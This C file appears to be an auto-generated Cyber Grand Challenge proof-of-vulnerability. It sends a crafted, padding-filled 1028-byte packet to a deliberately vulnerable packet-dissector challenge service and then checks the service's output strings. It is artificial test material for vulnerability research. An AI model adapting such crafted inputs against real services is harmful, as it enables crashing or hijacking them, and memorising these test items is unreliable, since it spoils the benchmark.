text: #include "libpov.h"
  int main(int cgc_argc, char *cgc_argv[]) {
     cgc_negotiate_type1(0x0, 0x0, 0);
     do {
        //*** writing data
        static unsigned char write_00000_00000[] = 
           "\x04\x04\x00\x00";
        static unsigned int write_00000_00000_len = 4;
        unsigned char *write_00000 = NULL;
        unsigned int write_00000_len = 0;
        write_00000 = cgc_append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len);
        if (write_00000_len > 0) {
           cgc_transmit_all(1, write_00000, write_00000_len);
        }
        cgc_free(write_00000);
     } while (0);
     do {
        //*** writing data
        static unsigned char write_00001_00000[] = 
           "\x01\x00\x00\x00\x01\x00\x00\x00\xf0\x03\x00\x00\xe8\x03\x00\x00"
           "\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x60\xda\x15\x8e"
           "\x63\x0b\xda\x4a\xef\x3d\x21\xea\x6f\x00\x00\x00\xf1\xe5\xce\xc7"
           "\x62\x6f\x02\xf0\x1e\x86\xdd\x55\xc5\xf0\xbf\x50\x60\x43\x6c\x2b"
           "\x2d\x86\x24\xdb\xd2\xdc\x4e\x3f\x89\xac\x7b\xe8\x7a\xa3\x33\x26"
           "\x1c\xa7\x45\xe3\x47\x68\x59\x20\x47\x01\xec\x14\x96\x4c\x53\x99"
           "\xcf\x2f\x86\x5f\xe5\x9f\xe5\x3a\x9e\x02\x00\x02\x00\x13\x5a\x6a"
           "\xf2\xc2\xbf\x4d\xd8\xd3\x0f\x2b\xcd\xbf\x3d\x32\x14\x82\x21\x8d"
           "\x9e\xff\x1f\xa5\x95\xe7\x1e\xc0\xed\xbc\x40\x6a\x3d\x0d\x23\xf9"
           "\xab\x9c\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
           "\x20\x20\x20\x20";
        static unsigned int write_00001_00000_len = 1028;
        unsigned char *write_00001 = NULL;
        unsigned int write_00001_len = 0;
        write_00001 = cgc_append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len);
        if (write_00001_len > 0) {
           cgc_transmit_all(1, write_00001, write_00001_len);
        }
        cgc_free(write_00001);
     } while (0);
     do {
        unsigned char *read_00000;
        unsigned int read_00000_len;
        unsigned int read_00000_ptr = 0;
        //**** delimited read
        static unsigned char read_00000_delim[] = 
           "\x0a";
        read_00000 = NULL;
        read_00000_len = 0;
        int read_00000_res = cgc_delimited_read(0, &read_00000, &read_00000_len, read_00000_delim, 1);
        if (read_00000_res) {} //silence unused variable warning
        //**** read match data
        static unsigned char match_00000_00000[] = 
           "\x53\x74\x61\x72\x74\x69\x6e\x67\x20\x64\x69\x73\x73\x65\x63\x74"
           "\x69\x6f\x6e\x2e\x2e\x2e";
        read_00000_ptr += cgc_data_match(read_00000 + read_00000_ptr, read_00000_len - read_00000_ptr, match_00000_00000, 22);
        cgc_free(read_00000);
        if (read_00000_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00001;
        unsigned int read_00001_len;
        unsigned int read_00001_ptr = 0;
        //**** delimited read
        static unsigned char read_00001_delim[] = 
           "\x3d\x3d\x3d\x3d\x0a";
        read_00001 = NULL;
        read_00001_len = 0;
        int read_00001_res = cgc_delimited_read(0, &read_00001, &read_00001_len, read_00001_delim, 5);
        if (read_00001_res) {} //silence unused variable warning
        /* read match pcre:
  .*New Packet
  */
        static char read_00001_00000_regex[] = 
           "\x2e\x2a\x4e\x65\x77\x20\x50\x61\x63\x6b\x65\x74";
        static match_result read_00001_00000_match;
        pcre *read_00001_00000_pcre = cgc_init_regex(read_00001_00000_regex);
        if (read_00001_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00001_00000_pcre, 0, read_00001 + read_00001_ptr, read_00001_len - read_00001_ptr, &read_00001_00000_match);
           if (rc > 0) {
              read_00001_ptr += read_00001_00000_match.match_end - read_00001_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00001_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00001);
        if (read_00001_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00002;
        unsigned int read_00002_len;
        unsigned int read_00002_ptr = 0;
        //**** delimited read
        static unsigned char read_00002_delim[] = 
           "\x3d\x3d\x3d\x0a";
        read_00002 = NULL;
        read_00002_len = 0;
        int read_00002_res = cgc_delimited_read(0, &read_00002, &read_00002_len, read_00002_delim, 4);
        if (read_00002_res) {} //silence unused variable warning
        /* read match pcre:
  .*===lol
  */
        static char read_00002_00000_regex[] = 
           "\x2e\x2a\x3d\x3d\x3d\x6c\x6f\x6c";
        static match_result read_00002_00000_match;
        pcre *read_00002_00000_pcre = cgc_init_regex(read_00002_00000_regex);
        if (read_00002_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00002_00000_pcre, 0, read_00002 + read_00002_ptr, read_00002_len - read_00002_ptr, &read_00002_00000_match);
           if (rc > 0) {
              read_00002_ptr += read_00002_00000_match.match_end - read_00002_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00002_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00002);
        if (read_00002_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00003;
        unsigned int read_00003_len;
        unsigned int read_00003_ptr = 0;
        //**** delimited read
        static unsigned char read_00003_delim[] = 
           "\x3d\x3d\x3d\x0a";
        read_00003 = NULL;
        read_00003_len = 0;
        int read_00003_res = cgc_delimited_read(0, &read_00003, &read_00003_len, read_00003_delim, 4);
        if (read_00003_res) {} //silence unused variable warning
        /* read match pcre:
  .*===sleekgavelock
  */
        static char read_00003_00000_regex[] = 
           "\x2e\x2a\x3d\x3d\x3d\x73\x6c\x65\x65\x6b\x67\x61\x76\x65\x6c\x6f"
           "\x63\x6b";
        static match_result read_00003_00000_match;
        pcre *read_00003_00000_pcre = cgc_init_regex(read_00003_00000_regex);
        if (read_00003_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00003_00000_pcre, 0, read_00003 + read_00003_ptr, read_00003_len - read_00003_ptr, &read_00003_00000_match);
           if (rc > 0) {
              read_00003_ptr += read_00003_00000_match.match_end - read_00003_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00003_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00003);
        if (read_00003_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00004;
        unsigned int read_00004_len;
        unsigned int read_00004_ptr = 0;
        //**** delimited read
        static unsigned char read_00004_delim[] = 
           "\x3d\x3d\x3d\x0a";
        read_00004 = NULL;
        read_00004_len = 0;
        int read_00004_res = cgc_delimited_read(0, &read_00004, &read_00004_len, read_00004_delim, 4);
        if (read_00004_res) {} //silence unused variable warning
        /* read match pcre:
  .*===unsanctioningperiuvular
  */
        static char read_00004_00000_regex[] = 
           "\x2e\x2a\x3d\x3d\x3d\x75\x6e\x73\x61\x6e\x63\x74\x69\x6f\x6e\x69"
           "\x6e\x67\x70\x65\x72\x69\x75\x76\x75\x6c\x61\x72";
        static match_result read_00004_00000_match;
        pcre *read_00004_00000_pcre = cgc_init_regex(read_00004_00000_regex);
        if (read_00004_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00004_00000_pcre, 0, read_00004 + read_00004_ptr, read_00004_len - read_00004_ptr, &read_00004_00000_match);
           if (rc > 0) {
              read_00004_ptr += read_00004_00000_match.match_end - read_00004_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00004_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00004);
        if (read_00004_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00005;
        unsigned int read_00005_len;
        unsigned int read_00005_ptr = 0;
        //**** delimited read
        static unsigned char read_00005_delim[] = 
           "\x3d\x3d\x3d\x0a";
        read_00005 = NULL;
        read_00005_len = 0;
        int read_00005_res = cgc_delimited_read(0, &read_00005, &read_00005_len, read_00005_delim, 4);
        if (read_00005_res) {} //silence unused variable warning
        /* read match pcre:
  .*Dissection finished
  */
        static char read_00005_00000_regex[] = 
           "\x2e\x2a\x44\x69\x73\x73\x65\x63\x74\x69\x6f\x6e\x20\x66\x69\x6e"
           "\x69\x73\x68\x65\x64";
        static match_result read_00005_00000_match;
        pcre *read_00005_00000_pcre = cgc_init_regex(read_00005_00000_regex);
        if (read_00005_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00005_00000_pcre, 0, read_00005 + read_00005_ptr, read_00005_len - read_00005_ptr, &read_00005_00000_match);
           if (rc > 0) {
              read_00005_ptr += read_00005_00000_match.match_end - read_00005_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00005_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00005);
        if (read_00005_ptr) {}  //silence unused variable warning if any
     } while (0);
  }
  